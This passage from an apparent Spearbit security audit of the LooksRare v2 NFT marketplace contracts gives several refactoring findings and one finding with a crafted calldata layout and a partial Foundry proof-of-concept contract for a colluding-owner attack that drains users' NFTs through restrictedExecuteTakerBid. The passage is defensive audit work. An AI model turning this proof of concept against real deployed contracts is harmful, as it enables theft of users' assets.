LooksRare: Acknowledged. This function may be used in future versions of protocols that would sell bundles across multiple collections. With the change, it is not possible with v2 to add new asset types so it should be partially mitigated.

Spearbit: Acknowledged.

5.5.10 Shared login in different `StrategyFloorFromChainlink` strategies can be refactored

Severity: Informational

Context:

- StrategyFloorFromChainlink.sol#L54
- StrategyFloorFromChainlink.sol#L108
- StrategyFloorFromChainlink.sol#L162
- StrategyFloorFromChainlink.sol#L219

Description:

- `executeFixedPremiumStrategyWithTakerBid` and `executeBasisPointsPremiumStrategyWithTakerBid`.
- `executeFixedDiscountCollectionOfferStrategyWithTakerAsk` and `executeBasisPointsDiscountCollectionOfferStrategyWithTakerAsk`.

Each group of endpoints in the above list share the exact same logic. The only difference they have is the formula and checks used to calculate the `desiredPrice` based on a given `floorPrice` and `premium/discount`.

```
function a1(<INPUT_PARAMS>) external view returns (<OUTPUT_PARAMS>) {
  <PRE_COMMON_BLOCK>
  (<OUTER_PARAMS>) = _a1(<INTER_PARAMS>); // inlined computation of _a1
  <POST_COMMON_BLOCK>
}

function a2(<INPUT_PARAMS>) external view returns (<OUTPUT_PARAMS>) {
  <PRE_COMMON_BLOCK>
  (<OUTER_PARAMS>) = _a2(<INTER_PARAMS>); // inlined computation of _a2
  <POST_COMMON_BLOCK>
}
```

Recommendation: Using function pointers, we can refactor the common logic between endpoints in this context

```
function a1(<INPUT_PARAMS>) external view returns (<OUTPUT_PARAMS>) {
  return _a(<INPUT_PARAMS>, _a1);
}

function a2(<INPUT_PARAMS>) external view returns (<OUTPUT_PARAMS>) {
  return _a(<INPUT_PARAMS>, _a2);
}

function _a1(<INTER_PARAMS>) internal view returns (<OUTER_PARAMS>) { // can also be `pure` depending
↪  on the context
  ...
}

function _a2(<INTER_PARAMS>) internal view returns (<OUTER_PARAMS>) { // can also be `pure` depending
↪  on the context
  ...
}

function _a(
  <INPUT_PARAMS>,
  function (<INTER_PARAMS>) internal view returns (<OUTER_PARAMS>) f
) external view returns (<OUTPUT_PARAMS>) {
  <PRE_COMMON_BLOCK>
  (<OUTER_PARAMS>) = f(<INTER_PARAMS>); // <-- internal function pointer
  <POST_COMMON_BLOCK>
}
```

The above design has the added benefit of if one would like to update either <PRE_COMMON_BLOCK> or <POST_COMMON_BLOCK>, this would only require applying the change in one location versus two. With the current implementation, if one forgets to apply the change to both locations of <PRE_COMMON_BLOCK> or <POST_COMMON_BLOCK> the related strategies would deviate from each other.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

// Chainlink aggregator interface
import {AggregatorV3Interface} from
↪  "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

// Libraries
import {OrderStructs} from "../../libraries/OrderStructs.sol";

// Shared errors
import {AskTooHigh, BidTooLow, OrderInvalid, WrongCurrency, WrongFunctionSelector} from
↪  "../../interfaces/SharedErrors.sol";

// Base strategy contracts
import {BaseStrategy} from "../BaseStrategy.sol";
import {BaseStrategyChainlinkMultiplePriceFeeds} from "./BaseStrategyChainlinkMultiplePriceFeeds.sol";

/**
 * @title StrategyFloorFromChainlink
 * @notice This contract allows a seller to make a floor price + premium ask
 *         and a buyer to make a floor price - discount collection bid.
 * @author LooksRare protocol team (,)
 */
contract StrategyFloorFromChainlink is BaseStrategy, BaseStrategyChainlinkMultiplePriceFeeds {
    /**
     * @notice It is returned if the fixed discount for a maker bid is greater than floor price.
     */
```

```
    error DiscountGreaterThanFloorPrice();

    /**
     * @notice Wrapped ether (WETH) address.
     */
    address public immutable WETH;

    /**
     * @notice Constructor
     * @param _owner Owner address
     * @param _weth Address of WETH
     */
    constructor(address _owner, address _weth) BaseStrategyChainlinkMultiplePriceFeeds(_owner) {
        WETH = _weth;
    }

    /**
     * @notice This function validates the order under the context of the chosen strategy and return
↪   the fulfillable items/amounts/price/nonce invalidation status
     *         This strategy looks at the seller's desired execution price in ETH (floor + premium) and
↪   minimum execution price and chooses the higher price.
     * @param takerBid Taker bid struct (contains the taker bid-specific parameters for the execution
↪   of the transaction)
     * @param makerAsk Maker ask struct (contains the maker ask-specific parameters for the execution
↪   of the transaction)
     * @return price The final execution price
     * @return itemIds The final item ids to be traded
     * @return amounts The corresponding amounts for each item id. It should always be 1 for any asset
↪   type.
     * @return isNonceInvalidated Whether the order's nonce will be invalidated after executing the
↪   order
     * @dev The client has to provide the bidder's desired premium amount in ETH from the floor price
↪   as the additionalParameters.
     */
    function executeFixedPremiumStrategyWithTakerBid(
        OrderStructs.TakerBid calldata takerBid,
        OrderStructs.MakerAsk calldata makerAsk
    )
        external
        view
        returns (uint256 price, uint256[] memory itemIds, uint256[] memory amounts, bool
↪   isNonceInvalidated)
    {
        return _executePremiumStrategyWithTakerBid(
            takerBid,
            makerAsk,
            _fixedPremiumPriceCalculator
        );
    }

    function _fixedPremiumPriceCalculator(
        uint256 floorPrice,
        uint256 premium
    ) internal pure returns (uint256 desiredPrice) {
        desiredPrice = floorPrice + premium;
    }

    /**
     * @notice This function validates the order under the context of the chosen strategy and return
↪   the fulfillable items/amounts/price/nonce invalidation status.
     *         This strategy looks at the seller's desired execution price in ETH (floor * (1 +
↪   premium)) and minimum execution price and chooses the higher price.
```

```
     * @param takerBid Taker bid struct (contains the taker bid-specific parameters for the execution
↪  of the transaction)
     * @param makerAsk Maker ask struct (contains the maker ask-specific parameters for the execution
↪  of the transaction)
     * @return price The final execution price
     * @return itemIds The final item ids to be traded
     * @return amounts The corresponding amounts for each item id. It should always be 1 for any asset
↪  type.
     * @return isNonceInvalidated Whether the order's nonce will be invalidated after executing the
↪  order
     * @dev The client has to provide the bidder's desired premium basis points from the floor price as
↪  the additionalParameters.
     */
    function executeBasisPointsPremiumStrategyWithTakerBid(
        OrderStructs.TakerBid calldata takerBid,
        OrderStructs.MakerAsk calldata makerAsk
    )
        external
        view
        returns (uint256 price, uint256[] memory itemIds, uint256[] memory amounts, bool
↪  isNonceInvalidated)
    {
        return _executePremiumStrategyWithTakerBid(
            takerBid,
            makerAsk,
            _basisPointsPremiumPriceCalculator
        );
    }

    function _basisPointsPremiumPriceCalculator(
        uint256 floorPrice,
        uint256 premium
    ) internal pure returns (uint256 desiredPrice) {
        desiredPrice = (floorPrice * (10_000 + premium)) / 10_000;
    }

    function _executePremiumStrategyWithTakerBid(
        OrderStructs.TakerBid calldata takerBid,
        OrderStructs.MakerAsk calldata makerAsk,
        function (
            uint256 /* floorPrice */,
            uint256 /* premium */
        ) internal pure returns (uint256 /* desiredPrice */) _desiredPriceCalculator
    ) internal view returns (
        uint256 price,
        uint256[] memory itemIds,
        uint256[] memory amounts,
        bool isNonceInvalidated
    ) {
        if (makerAsk.currency != address(0)) {
            if (makerAsk.currency != WETH) {
                revert WrongCurrency();
            }
        }

        if (
            makerAsk.itemIds.length != 1 ||
            makerAsk.amounts.length != 1 ||
            makerAsk.amounts[0] != 1 ||
            makerAsk.itemIds[0] != takerBid.itemIds[0] ||
            takerBid.amounts[0] != 1
        ) {
```

```
            revert OrderInvalid();
        }

        uint256 floorPrice = _getFloorPrice(makerAsk.collection);
        uint256 premium = abi.decode(makerAsk.additionalParameters, (uint256));
        uint256 desiredPrice = _desiredPriceCalculator(floorPrice, premium); // <--- passed function
↪   pointer

        if (desiredPrice >= makerAsk.minPrice) {
            price = desiredPrice;
        } else {
            price = makerAsk.minPrice;
        }

        if (takerBid.maxPrice < price) {
            revert BidTooLow();
        }

        itemIds = makerAsk.itemIds;
        amounts = makerAsk.amounts;
        isNonceInvalidated = true;
    }

    /**
     * @notice This function validates the order under the context of the chosen strategy and return
↪   the fulfillable items/amounts/price/nonce invalidation status.
     *         This strategy looks at the bidder's desired execution price in ETH (floor - discount)
↪   and maximum execution price and chooses the lower price.
     * @param takerAsk Taker ask struct (contains the taker ask-specific parameters for the execution
↪   of the transaction)
     * @param makerBid Maker bid struct (contains the maker bid-specific parameters for the execution
↪   of the transaction)
     * @return price The final execution price
     * @return itemIds The final item ids to be traded
     * @return amounts The corresponding amounts for each item id. It should always be 1 for any asset
↪   type.
     * @return isNonceInvalidated Whether the order's nonce will be invalidated after executing the
↪   order
     * @dev The client has to provide the bidder's desired discount amount in ETH from the floor price
↪   as the additionalParameters.
     */
    function executeFixedDiscountCollectionOfferStrategyWithTakerAsk(
        OrderStructs.TakerAsk calldata takerAsk,
        OrderStructs.MakerBid calldata makerBid
    )
        external
        view
        returns (uint256 price, uint256[] memory itemIds, uint256[] memory amounts, bool
↪   isNonceInvalidated)
    {
        return _executeDiscountCollectionOfferStrategyWithTakerAsk(
            takerAsk,
            makerBid,
            _calculateFixedDiscountedPrice
        );
    }

    function _calculateFixedDiscountedPrice(
        uint256 floorPrice,
        uint256 discount
    ) internal pure returns (uint256 desiredPrice) {
        if (floorPrice <= discount) {
```

```
            revert DiscountGreaterThanFloorPrice();
        }

        desiredPrice = floorPrice - discount;
    }

    /**
     * @notice This function validates the order under the context of the chosen strategy and return
↪   the fulfillable items/amounts/price/nonce invalidation status.
     *         This strategy looks at the bidder's desired execution price in ETH (floor * (1 -
↪   discount)) and maximum execution price and chooses the lower price.
     * @param takerAsk Taker ask struct (contains the taker ask-specific parameters for the execution
↪   of the transaction)
     * @param makerBid Maker bid struct (contains the maker bid-specific parameters for the execution
↪   of the transaction)
     * @return price The final execution price
     * @return itemIds The final item ids to be traded
     * @return amounts The corresponding amounts for each item id. It should always be 1 for any asset
↪   type.
     * @return isNonceInvalidated Whether the order's nonce will be invalidated after executing the
↪   order
     * @dev The client has to provide the bidder's desired discount basis points from the floor price
↪   as the additionalParameters.
     */
    function executeBasisPointsDiscountCollectionOfferStrategyWithTakerAsk(
        OrderStructs.TakerAsk calldata takerAsk,
        OrderStructs.MakerBid calldata makerBid
    )
        external
        view
        returns (uint256 price, uint256[] memory itemIds, uint256[] memory amounts, bool
↪   isNonceInvalidated)
    {
        return _executeDiscountCollectionOfferStrategyWithTakerAsk(
            takerAsk,
            makerBid,
            _calculateBasisPointsDiscountedPrice
        );
    }

    function _calculateBasisPointsDiscountedPrice(
        uint256 floorPrice,
        uint256 discount
    ) internal pure returns (uint256 desiredPrice) {
        // @dev Discount cannot be 100%
        if (discount >= 10_000) {
            revert OrderInvalid();
        }

        desiredPrice = (floorPrice * (10_000 - discount)) / 10_000;
    }

    function _executeDiscountCollectionOfferStrategyWithTakerAsk(
        OrderStructs.TakerAsk calldata takerAsk,
        OrderStructs.MakerBid calldata makerBid,
        function (
            uint256 /* floorPrice */,
            uint256 /* discount */
        ) internal pure returns (uint256 /* desiredPrice */) _desiredPriceCalculator
    )
        internal
        view
```

```
        returns (
            uint256 price,
            uint256[] memory itemIds,
            uint256[] memory amounts,
            bool isNonceInvalidated
        )
    {
        if (makerBid.currency != WETH) {
            revert WrongCurrency();
        }

        if (
            takerAsk.itemIds.length != 1 ||
            takerAsk.amounts.length != 1 ||
            takerAsk.amounts[0] != 1 ||
            makerBid.amounts.length != 1 ||
            makerBid.amounts[0] != 1
        ) {
            revert OrderInvalid();
        }

        uint256 floorPrice = _getFloorPrice(makerBid.collection);
        uint256 discount = abi.decode(makerBid.additionalParameters, (uint256));
        uint256 desiredPrice = _desiredPriceCalculator(floorPrice, discount); // <--- passed function
↪   pointer

        if (desiredPrice >= makerBid.maxPrice) {
            price = makerBid.maxPrice;
        } else {
            price = desiredPrice;
        }

        if (takerAsk.minPrice > price) {
            revert AskTooHigh();
        }

        itemIds = takerAsk.itemIds;
        amounts = takerAsk.amounts;
        isNonceInvalidated = true;
    }

    /**
     * @notice This function validates *only the maker* order under the context of the chosen strategy.
↪   It does not revert if
     *         the maker order is invalid. Instead it returns false and the error's 4 bytes selector.
     * @param makerAsk Maker ask struct (contains the maker ask-specific parameters for the execution
↪   of the transaction)
     * @param functionSelector Function selector for the strategy
     * @return isValid Whether the maker struct is valid
     * @return errorSelector If isValid is false, it returns the error's 4 bytes selector
     */
    function isMakerAskValid(
        OrderStructs.MakerAsk calldata makerAsk,
        bytes4 functionSelector
    ) external view returns (bool isValid, bytes4 errorSelector) {
        if (
            functionSelector !=
↪   StrategyFloorFromChainlink.executeBasisPointsPremiumStrategyWithTakerBid.selector &&
            functionSelector !=
↪   StrategyFloorFromChainlink.executeFixedPremiumStrategyWithTakerBid.selector
        ) {
            return (isValid, WrongFunctionSelector.selector);
```

```
        }

        if (makerAsk.currency != address(0)) {
            if (makerAsk.currency != WETH) {
                return (isValid, WrongCurrency.selector);
            }
        }

        if (makerAsk.itemIds.length != 1 || makerAsk.amounts.length != 1 || makerAsk.amounts[0] != 1) {
            return (isValid, OrderInvalid.selector);
        }

        (, bytes4 priceFeedErrorSelector) = _getFloorPriceNoRevert(makerAsk.collection);

        if (priceFeedErrorSelector == bytes4(0)) {
            isValid = true;
        } else {
            errorSelector = priceFeedErrorSelector;
        }
    }

    /**
     * @notice This function validates *only the maker* order under the context of the chosen strategy.
↪   It does not revert if
     *         the maker order is invalid. Instead it returns false and the error's 4 bytes selector.
     * @param makerBid Maker bid struct (contains the maker bid-specific parameters for the execution
↪   of the transaction)
     * @param functionSelector Function selector for the strategy
     * @return isValid Whether the maker struct is valid
     * @return errorSelector If isValid is false, it returns the error's 4 bytes selector
     * @dev The client has to provide the bidder's desired discount amount in ETH from the floor price
↪   as the additionalParameters.
     */
    function isMakerBidValid(
        OrderStructs.MakerBid calldata makerBid,
        bytes4 functionSelector
    ) external view returns (bool isValid, bytes4 errorSelector) {
        if (
            functionSelector !=

↪   StrategyFloorFromChainlink.executeBasisPointsDiscountCollectionOfferStrategyWithTakerAsk.selector &&
            functionSelector !=
            StrategyFloorFromChainlink.executeFixedDiscountCollectionOfferStrategyWithTakerAsk.selector
        ) {
            return (isValid, WrongFunctionSelector.selector);
        }

        if (makerBid.currency != WETH) {
            return (isValid, WrongCurrency.selector);
        }

        if (makerBid.amounts.length != 1 || makerBid.amounts[0] != 1) {
            return (isValid, OrderInvalid.selector);
        }

        (uint256 floorPrice, bytes4 priceFeedErrorSelector) =
↪   _getFloorPriceNoRevert(makerBid.collection);
        uint256 discount = abi.decode(makerBid.additionalParameters, (uint256));

        if (
            functionSelector ==
```

```
↪  StrategyFloorFromChainlink.executeBasisPointsDiscountCollectionOfferStrategyWithTakerAsk.selector
        ) {
            if (discount >= 10_000) {
                return (isValid, OrderInvalid.selector);
            }
        }

        if (priceFeedErrorSelector != bytes4(0)) {
            return (isValid, priceFeedErrorSelector);
        }

        if (
            functionSelector ==
            StrategyFloorFromChainlink.executeFixedDiscountCollectionOfferStrategyWithTakerAsk.selector
        ) {
            if (floorPrice <= discount) {
                // A special selector is returned to differentiate with OrderInvalid since the maker
↪   can potentially become valid again
                return (isValid, DiscountGreaterThanFloorPrice.selector);
            }
        }

        isValid = true;
    }

    function _getFloorPrice(address collection) private view returns (uint256 price) {
        address priceFeed = priceFeeds[collection];

        if (priceFeed == address(0)) {
            revert PriceFeedNotAvailable();
        }

        (, int256 answer, , uint256 updatedAt, ) = AggregatorV3Interface(priceFeed).latestRoundData();

        // Verify the answer is not null or negative
        if (answer <= 0) {
            revert InvalidChainlinkPrice();
        }

        // Verify the latency
        if (block.timestamp > maxLatency + updatedAt) {
            revert PriceNotRecentEnough();
        }

        price = uint256(answer);
    }

    function _getFloorPriceNoRevert(
        address collection
    ) private view returns (uint256 floorPrice, bytes4 errorSelector) {
        address priceFeed = priceFeeds[collection];
        if (priceFeed == address(0)) {
            return (floorPrice, PriceFeedNotAvailable.selector);
        }

        (, int256 answer, , uint256 updatedAt, ) = AggregatorV3Interface(priceFeed).latestRoundData();
        if (answer <= 0) {
            return (floorPrice, InvalidChainlinkPrice.selector);
        }
        if (block.timestamp > maxLatency + updatedAt) {
            return (floorPrice, PriceNotRecentEnough.selector);
```

```
        }

        return (uint256(answer), bytes4(0));
    }
}
```

LooksRare: Fixed in PR 345.

Spearbit: Verified.

5.5.11 Setting protocol and ask fee amounts and recipients can be refactored in `ExecutionManager`

Severity: Informational

Context:

- ExecutionManager.sol#L154-L170
- ExecutionManager.sol#L240-L256

Description: Setting and calculating the protocol and ask fee amounts and recipients follow the same logic in `_executeStrategyForTakerAsk` and `_executeStrategyForTakerBid`.

Recommendation: Refactor the shared logic.

Define:

```
function _setTheRestOfFeeAmountsAndRecipients(
    uint256 strategyId,
    uint256 price,
    address askRecipient,
    address[3] memory recipients,
    uint256[3] memory fees
) private view {
    // Compute minimum total fee amount
    uint256 minTotalFeeAmount = (price * strategyInfo[strategyId].minTotalFeeBp) / 10_000;

    if (fees[1] == 0) {
        // If creator fee is null, protocol fee is set as the minimum total fee amount
        fees[0] = minTotalFeeAmount;
        // Net fee amount for seller
        fees[2] = price - fees[0];
    } else {
        // If there is a creator fee information, the protocol fee amount can be calculated
        fees[0] = _calculateProtocolFeeAmount(price, strategyId, fees[1], minTotalFeeAmount);
        // Net fee amount for seller
        fees[2] = price - fees[1] - fees[0];
    }

    recipients[0] = protocolFeeRecipient;
    recipients[2] = askRecipient;
}
```

and replace ExecutionManager.sol#L154-L170 with:

```
 _setTheRestOfFeeAmountsAndRecipients(
    makerBid.strategyId,
    price,
    takerAsk.recipient == address(0) ? sender : takerAsk.recipient,
    recipients,
    fees
);
```

and ExecutionManager.sol#L240-L256 with:

```
_setTheRestOfFeeAmountsAndRecipients(
    makerAsk.strategyId,
    price,
    makerAsk.signer,
    recipients,
    fees
);
```

LooksRare: Implemented in PR 339.

Spearbit: Verified.

5.5.12 Creator fee amount and recipient calculation can be refactored in `ExecutionManager`

Severity: Informational

Context:

- ExecutionManager.sol#L141-L152
- ExecutionManager.sol#L227-L238

Description: The create fee amount and recipient calculation in `_executeStrategyForTakerAsk` and `_executeStrategyForTakerBid` are identical and can be refactored.

Recommendation: Define

```
function _calculateCreatorFeeAmountAndRecipient(
    address collection,
    uint256 price,
    uint256[] memory itemIds
) private view returns (address recipient, uint256 fee) {
    // Creator fee amount and adjustment of protocol fee amount
    if (address(creatorFeeManager) != address(0)) {
        (recipient, fee) = creatorFeeManager.viewCreatorFeeInfo(collection, price, itemIds);

        if (recipient == address(0)) {
            // If recipient is null address, creator fee is set at 0
            fee = 0;
        } else if (fee * 10_000 > (price * uint256(maxCreatorFeeBp))) {
            // If creator fee is higher than tolerated, it reverts
            revert CreatorFeeBpTooHigh();
        }
    }
}
```

and replace ExecutionManager.sol#L227-L238 with:

```
(recipients[1], fees[1]) = _calculateCreatorFeeAmountAndRecipient(
    makerAsk.collection,
    price,
    itemIds
);
```

and ExecutionManager.sol#L141-L152 with:

```
(recipients[1], fees[1]) = _calculateCreatorFeeAmountAndRecipient(
    makerBid.collection,
    price,
    itemIds
);
```

LooksRare: Implemented in PR 336.

Spearbit: Verified.

5.5.13 The owner can set the `selector` for a strategy to any `bytes4` value

Severity: Informational

Context:

- StrategyManager.sol#L80
- IStrategyManager.sol#L24
- ExecutionManager.sol#L124-L126
- ExecutionManager.sol#L210-L212

Description: The owner can set the `selector` for a strategy to any `bytes4` value (as long as it's not `bytes4(0)`). Even though the following check exists

```
if (!IBaseStrategy(implementation).isLooksRareV2Strategy()) {
    revert NotV2Strategy();
}
```

There is no measure taken to avoid potential `selector` collision with other contract types.

Recommendation: To avoid future potential pitfalls that could take advantage of the freedom to choose any `selector` value, it would be best to give strategies a more firm structure and pick a fixed `selector` when one would want to call them. That means removing the `selector` field:

```
struct Strategy {
      bool isActive;
      uint16 standardProtocolFeeBp;
      uint16 minTotalFeeBp;
      uint16 maxProtocolFeeBp;
-     bytes4 selector;
      bool isMakerBid;
-     address implementation;
+     IBaseStrategy implementation;
}
```

Modifiy `IBaseStrategy`:

```
interface IBaseStrategy {
  ...
  function executeStrategyForTakerAsk(TakerAsk takerAsk, MakerBid makerBid) external returns (
    uint256 price,
    uint256[] itemIds,
    uint256[] amounts,
    bool isNonceInvalidated
  );

  function executeStrategyForTakerBid(TakerBid takerBid, MakerAsk makerAsk) external returns (
    uint256 price,
    uint256[] itemIds,
    uint256[] amounts,
    bool isNonceInvalidated
  );
}

// or even define an abstract contract:

abstract contract BaseStrategy ... {
```

```
  ...
  function executeStrategyForTakerAsk(TakerAsk takerAsk, MakerBid makerBid) external virtual returns (
    uint256 price,
    uint256[] itemIds,
    uint256[] amounts,
    bool isNonceInvalidated
  ) {
    revert();
  }

  function executeStrategyForTakerBid(TakerBid takerBid, MakerAsk makerAsk) external virtual returns (
    uint256 price,
    uint256[] itemIds,
    uint256[] amounts,
    bool isNonceInvalidated
  ) {
    revert();
  }

  function isMakerBidValid(
    MakerBid calldata makerBid
  ) external view virtual returns (bool isValid) {
    revert();
  }

  function isMakerAskValid(
    MakerAsk calldata makerAsk
  ) external view virtual returns (bool isValid) {
    revert();
  }
}
```

The endpoint names can be any other name as long as one would avoid `selector` collision with all the other contracts involved in the protocol (`LooksRareProtocol`, `TransferManager`, `wETH`, `IERC20`, `IERC721`, `IERC1155`, `IERC1271`, ...). An implementation of `IBaseStrategy` can implement both or only one of the above endpoints (the unimplemented one can revert). Then in `ExecutionManager` the strategy call sites can be modified to:

Transform

```
(bool status, bytes memory data) = strategyInfo[makerBid.strategyId].implementation.call(
    abi.encodeWithSelector(strategyInfo[makerBid.strategyId].selector, takerAsk, makerBid)
);

if (!status) {
    // @dev It forwards the revertion message from the low-level call
    assembly {
        revert(add(data, 32), mload(data))
    }
}

(price, itemIds, amounts, isNonceInvalidated) = abi.decode(data, (uint256, uint256[], uint256[], bool));
```

to

```
IBaseStrategy strategy = strategyInfo[makerBid.strategyId].implementation;
(price, itemIds, amounts, isNonceInvalidated) = strategy.executeStrategyForTakerAsk(takerAsk, makerBid);
```

and transform

```
(bool status, bytes memory data) = strategyInfo[makerAsk.strategyId].implementation.call(
    abi.encodeWithSelector(strategyInfo[makerAsk.strategyId].selector, takerBid, makerAsk)
);

if (!status) {
    // @dev It forwards the revertion message from the low-level call
    assembly {
        revert(add(data, 32), mload(data))
    }
}

(price, itemIds, amounts, isNonceInvalidated) = abi.decode(data, (uint256, uint256[], uint256[], bool));
```

to

```
IBaseStrategy strategy = strategyInfo[makerAsk.strategyId].implementation;
(price, itemIds, amounts, isNonceInvalidated) = strategy.executeStrategyForTakerBid(takerBid, makerAsk);
```

The above has also the added benefit that less storage space would be needed since `selector` is removed.

Note, certain strategies might need to be split into two separate strategies (`StrategyCollectionOffer`, `StrategyFloorFromChainlink`). Or one can combine two strategy endpoints into one by conditioning on the `additionalParameters` fields.

`isLooksRareV2Strategy` for `IBaseStrategy` can also be replaced by allowing `IBaseStrategy` to extend `IERC165`.

Related issue: *"The Protocol owner can drain users' currency tokens"*.

LooksRare: Acknowledged but will not adjust. For strategies such as Chainlink, it greatly simplifies if multiple makerBid/makerAsk strategies exist in the same file.

Spearbit: Acknowledged.

5.5.14 Constraints among the number of item ids and amounts for taker or maker bids or asks are inconsistent among different strategies.

Severity: Informational

Context:

- InheritedStrategy.sol#L59
- StrategyItemIdsRange.sol#L25
- StrategyDutchAuction.sol#L26
- StrategyCollectionOffer.sol
- StrategyFloorFromChainlink.sol
- StrategyUSDDynamicAsk.sol

Description: Constraints among the number of item ids and amounts for taker or maker bids or asks are inconsistent among different strategies.

notation	description
T_i	length of taker's bid (or ask depending on the context) item ids
T_a	length of taker's bid (or ask depending on the context) amounts
M_i	length of maker's bid (or ask depending on the context) item ids
M_a	length of maker's bid (or ask depending on the context) amounts

- `IneheritedStategy` : $T_i = T_a = M_i = M_a$
- `StrategyItemIdsRange` : $T_i \leq T_a, M_i = 2, M_a = 1$ (related issue)
- `StrategyDutchAuction` : $M_i \leq T_i, M_a \leq T_a, M_i = M_a$
- `StrategyUSDDynamicAsk`: $M_i \leq T_i, M_a \leq T_a, M_i = M_a$
- `StrategyFloorFromChainlink.execute...PremiumStrategyWithTakerBid` : $M_i \leq T_i, M_a \leq T_a, M_i = M_a = 1$
- `StrategyFloorFromChainlink.execute...DiscountCollectionOfferStrategyWithTakerAsk` : $T_i = 1, 1 = T_a, M_a = 1$
- `StrategyCollectionOffer` : $T_i = 1, 1 \leq T_a, M_a = 1$

The equalities above are explicitly enforced, but the inequalities are implicitly enforced through the compiler's out-of-bound revert.

Note that in most cases (except `StrategyItemIdsRange`) one can enforce $T_i = T_a = M_i = M_a$ and refactor this logic into a utility function.

Recommendation: Document why the different length comparisons are not enforced or explicitly enforce the equalities. One possible reason that the equality checks have been skipped could be due to gas saving and leaving it up to the taker to provide the most compact calldata.

LooksRare: `TakerXxx` struct have been merged into a single `Taker` struct that does not include `itemIds` or `amounts`. So this issue is not relavent anymore, see PR 383.

Spearbit: Verified.

5.5.15 Requirements/checks for adding new transfer managers (or strategies) are really important to avoid self-reentrancy through `restrictedExecuteTakerBid` from unexpected call sites

Severity: Informational

Context:

- TransferSelectorNFT.sol#L48
- LooksRareProtocol.sol#L243
- StrategyManager.sol#L71-L73

Description: When a new transfer manager gets added to the protocol, there is a check to make sure that this manager cannot be the protocol itself. This is really important as `restrictedExecuteTakerBid` allows the protocol itself to call this endpoint. If the check below was omitted:

```
if (
    transferManagerForAssetType == address(0) ||
    // transferManagerForAssetType == address(this) ||
    selectorForAssetType == bytes4(0)
) {
    revert ManagerSelectorEmpty();
}
```

The owner can add the protocol itself as a transfer manager for a new asset type and pick the selector to be `ILooksRareProtocol.restrictedExecuteTakerBid.selector`. Then the owner along with a special address can collude and drain users' NFT tokens from an actual approved transfer manager for `ERC721/ERC1155` assets. The special feature of `restrictedExecuteTakerBid` is that once it's called the provided parameters by the maker are not checked/verified against any signatures.

The PoC below includes 2 different custom strategies for an easier setup but they are not necessary (one can use the default strategy). One creates the calldata payload and the other is called later on to select a desired NFT token id.

The calldata to `restrictedExecuteTakerBid(...)` is crafted so that the corresponding desired parameters for an actual `transferManager.call` can be set by `itemIds`;

```
offset                                                          interpreted parameters                | original
↪  parameters
------------------------------------------------------------------------------------------------------------------------
↪  ----------
0x0000      0000000000000000000000000000000000000000000000000000000000000080                        | collection
            0000000000000000000000000000000000000000000000000000000000000180                        | signer /
            ↪  msg.sender, , can be changed by stuffing 0s
            000000000000000000000000000000000000000000000000000000000000X1 ; sender                 | Ta.r or
            ↪  msg.sender / signer
            00000000000000000000000000000000000000000000000000000000000000a0                        | i[] ptr
            ↪  ho, orderHash, 0xa0

0x0080      000000000000000000000000000000000000000000000000000000000000X2 ; Tb.r                   | a[] ptr ,
↪  to, can be changed by stuffing 0s
            000000000000000000000000000000000000000000000000000000000000X3 ; Tb.p_max               | i[].len
            00000000000000000000000000000000000000000000000000000000000000a0                        | i[0]
            00000000000000000000000000000000000000000000000000000000000000c0                        | i[1]
            00000000000000000000000000000000000000000000000000000000000000e0                        | i[2]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[3]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[4]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[5]

0x0180      0000000000000000000000000000000000000000000000000000000000000000                        | i[6]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[7]
            000000000000000000000000000000000000000000000000000000000000X4 ; sid                    | i[8]
            000000000000000000000000000000000000000000000000000000000000X5 ; t                      | i[9]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[10]
            000000000000000000000000000000000000000000000000000000000000X6 ; T                      | i[11]
            000000000000000000000000000000000000000000000000000000000000X7 ; C                      | i[12]
            000000000000000000000000000000000000000000000000000000000000X8 ; signer                 | i[13] ,
            ↪  from
            000000000000000000000000000000000000000000000000000000000000X9 ; ts                     | i[14]
            000000000000000000000000000000000000000000000000000000000000Xa ; te                     | i[15]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[16]
            00000000000000000000000000000000000000000000000000000000000001c0                        | i[17]
            00000000000000000000000000000000000000000000000000000000000001e0                        | i[18]
            0000000000000000000000000000000000000000000000000000000000000200                        | i[19]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[20]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[21]
            0000000000000000000000000000000000000000000000000000000000000000                        | i[22]

; T = real_collection
; C = currency
; t = assetType
; sid = strategyId
; ts = startTime
; te = endTime
; Ta = takerAsk
; Tb = takerBid
```

```
// file: test/foundry/AssetAttack.t.sol
pragma solidity 0.8.17;

import {IStrategyManager} from "../../contracts/interfaces/IStrategyManager.sol";
import {IBaseStrategy} from "../../contracts/interfaces/IBaseStrategy.sol";
import {OrderStructs} from "../../contracts/libraries/OrderStructs.sol";

import {ProtocolBase} from "./ProtocolBase.t.sol";
import {MockERC20} from "../mock/MockERC20.sol";
```

```
interface IERC1271 {
        function isValidSignature(
            bytes32 digest,
            bytes calldata signature
        ) external returns (bytes4 magicValue);
}

contract PayloadStrategy is IBaseStrategy {
    address private owner;

    address private collection;
    address private currency;
    uint256 private assetType;
    address private signer;

    uint256 private nextStartegyId;

    constructor() {
        owner = msg.sender;
    }

    function set(
        address _collection,
        address _currency,
        uint256 _assetType,
        address _signer,
        uint256 _nextStartegyId
    ) external {
        if(msg.sender != owner) revert();

        collection = _collection;
        currency = _currency;
        assetType = _assetType;
        signer = _signer;

        nextStartegyId = _nextStartegyId;
    }

    function isLooksRareV2Strategy() external pure override returns (bool) {
        return true;
    }

    function execute(
        OrderStructs.TakerBid calldata /* takerBid */,
        OrderStructs.MakerAsk calldata /* makerAsk */
    )
        external
        view
        returns (
            uint256 price,
            uint256[] memory itemIds,
            uint256[] memory amounts,
            bool isNonceInvalidated
        )
    {
        itemIds = new uint256[](23);

        itemIds[0] = 0xa0;
        itemIds[1] = 0xc0;
        itemIds[2] = 0xe0;
```

```
        itemIds[8] = nextStartegyId;
        itemIds[9] = assetType;
        itemIds[11] = uint256(uint160(collection));
        itemIds[12] = uint256(uint160(currency));
        itemIds[13] = uint256(uint160(signer));
        itemIds[14] = 0; // startTime
        itemIds[15] = type(uint256).max; // endTime

        itemIds[17] = 0x01c0;
